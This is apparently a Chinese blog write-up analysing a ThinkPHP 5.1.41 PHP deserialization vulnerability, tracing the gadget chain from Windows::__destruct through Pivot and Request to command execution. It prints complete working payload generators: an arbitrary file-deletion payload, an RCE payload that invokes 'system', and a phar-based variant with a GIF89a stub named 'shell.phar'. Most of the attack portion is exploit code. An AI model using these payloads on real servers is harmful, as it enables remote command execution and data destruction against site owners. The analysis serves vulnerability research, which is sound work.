0%

thinkphp-5.1.*-反序列化漏洞

漏洞环境:

版本:

1
2
ThinkPHP V5.1.41
php v7.1.9

测试代码:

application目录下新建一个一个模块test在controller文件夹内创建Test.php内容如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php
#命名空间app默认位于application
namespace app\test\controller;

class Test
{
//访问http://localhost/tp5/public/index.php/test/test/hello
//或者传递参数访问http://localhost/tp5/public/index.php/test/test/hello/pass/参数
public function hello($pass = 'pass')
{
unserialize(base64_decode($pass));
return 'hello';
}

}

漏洞分析:

反序列化利用链的起点在thinkphp/library/think/process/pipes/Windows.php中

__destruct() //该方法在对象被销毁时触发

image-20240115224750937

我们进入removeFiles函数中,可以发现这里有一个文件删除的功能点。通过file_exists判断文件是否存在然后删除。

image-20240116125512688

这里存在两个漏洞一个是反序列化+任意文件删除的漏洞,文件删除漏洞的payload很简单这里直接给出

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
namespace think\process\pipes{
class Windows
{
private $files;
public function __construct()
{
$this->files=["D:\\test.txt"];
}
}
}
namespace{
use think\process\pipes\Windows;
echo (base64_encode(serialize(new Windows())));
}
?>

还有一个就是反序列化+rce的漏洞了。我们知道file_exists会将触发__toString方法,所以这条反序列化链的下一步是寻找触发可以触发__toString的类。

__toString() //把类当作字符串使用时触发

通过全局搜索可以发现在thinkphp\library\think\model\concern\Conversion.php中存在__toString方法

image-20240116130749395

但因为Conversion为trial所以我们无法直接实例化,我们需要寻找一个类使得Windows可以和Conversion建立联系

1
2
Trait介绍:
Trait 和 Class 相似,无法通过 trait 自身来实例化。从基类继承的成员会被 trait 插入的成员所覆盖。优先顺序是来自当前类的成员覆盖了 trait 的方法,而 trait 则覆盖了被继承的方法。

发现Model类符合我们的要求,但因为Model为抽象类不能直接实例化,我们还要寻找一个继承Model类的类作为跳板

image-20240116131403032

发现Pivot类符合要求

image-20240116131914348

先来理一理到这一步为止我们构造的反序列化链Windows->Pivot(继承于Model带有Conversion的__toString方法)。如果类Pivot被当作字符串处理就会触发trial的__toString方法。所以截至现在序列化字符串的构造应该是下面这样的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
<?php
namespace think{
abstract class Model{
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace{
use think\process\pipes\Windows;
echo (base64_encode(serialize(new Windows())));
}
?>

接着来到__toString方法的执行

image-20240116132641965

进入到toJson中,发现toArray自定义的函数,继续进入

image-20240116132704853

在toArray函数中我们看到下面这段。getAtter是一个获取器可以获取数据对象的值,也就是说我们可以通过getAtter获取$key所指向的对象。

image-20240116134405733

我们跟进getAtter,可以发现对象是通过$this->data获取的

image-20240116134751862

image-20240116134732016

回到toArray函数中,我们发现再获取了$relation之后,会调用$relation的visible()方法

image-20240116134953650

我们知道__call() 在对象上下文中调用不可访问的方法时会触发,所以我们下一步需要寻找一个没有visible()方法却有__call()的类。

thinkphp\library\think\Request.php的Request类符合我们的要求。

image-20240116135319980

所以我们把上文的Model类构造进行完善

1
2
3
4
5
6
7
8
9
10
11
12
13

abstract class Model{

}

abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
$this->data = ["aaaa"=>new Request()];
}
}

接着看到call_user_func_array函数,这个函数允许我们调用系统函数,但因为通过__call传入的参数$args不符合要求,我们需要进行转化。事实上在Request类中,存在一个isAjax方法。通过这个方法掉用param()方法再通过param()方法调用input()方法再在input()方法中通过array_walk_recursive()函数调用filterValue()方法,在filterValue()方法中实现rce。

下面是跟踪的过程:

进入call_user_func_array调用的isAjax()方法中($this->hook[$method]的值为[$this,"isAjax"])

image-20240116170504949

进入param()方法

image-20240116170703456

进入input()方法

image-20240116170819717

通过array_walk_recursive()函数调用filterValue()方法

image-20240116170915613

成功rce

image-20240116171013746

所以最终完整的payload就出来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
<?php
namespace think{
abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
$this->data = ["aaaa"=>new Request()];
}
}
class Request
{
protected $param;
protected $hook;
protected $filter;
protected $config;
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->param = ["calc"];
}
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace{
use think\process\pipes\Windows;
echo (base64_encode(serialize(new Windows())));
}
?>

为了满足phar反序列化利用的要求我们可以增加一些代码,生成含有phar序列化的文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
<?php
namespace think{
abstract class Model{
protected $append;
private $data;
function __construct(){
$this->append = ["aaaa"=>["123456"]];
$this->data = ["aaaa"=>new Request()];
}
}
class Request
{
protected $param;
protected $hook;
protected $filter;
protected $config;
function __construct(){
$this->filter = "system";
$this->config = ["var_ajax"=>''];
$this->hook = ["visible"=>[$this,"isAjax"]];
$this->param = ["calc"];
}
}
}
namespace think\process\pipes{
use think\model\Pivot;
class Windows
{
private $files;
public function __construct()
{
$this->files=[new Pivot()];
}
}
}
namespace think\model{
use think\Model;
class Pivot extends Model
{
}
}
namespace{
use think\process\pipes\Windows;
@unlink('shell.jpg');
$phar = new Phar("shell.phar"); //
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$object = new Windows();
$phar->setMetadata($object);
$phar->addFromString("a", "a"); //添加要压缩的文件

$phar->stopBuffering();

echo (base64_encode(serialize(new Windows())));
}
?>

漏洞总结:

该反序列化漏洞的利用链汇总

1
2
3
4
5
6
7
8
9
10
11
起点:任意反序列化点
-->Windows::__destruct
-->Windows::removeFiles
-->file_exists(将类当作字符串触发__toString)
-->Pivot::__toString(方法继承于Model类而Model类的__toString来自于Conversion,下面的toJson()也是同样的)
-->Pivot::toJson
-->Request::visible(Request类没有visible方法触发__call)
-->Request::__call
-->通过Request类的三个方法isAjax、param、input
-->Request::filterValue
终点:-->call_user_func,最终触发rce

总结:蛮难的。。。。。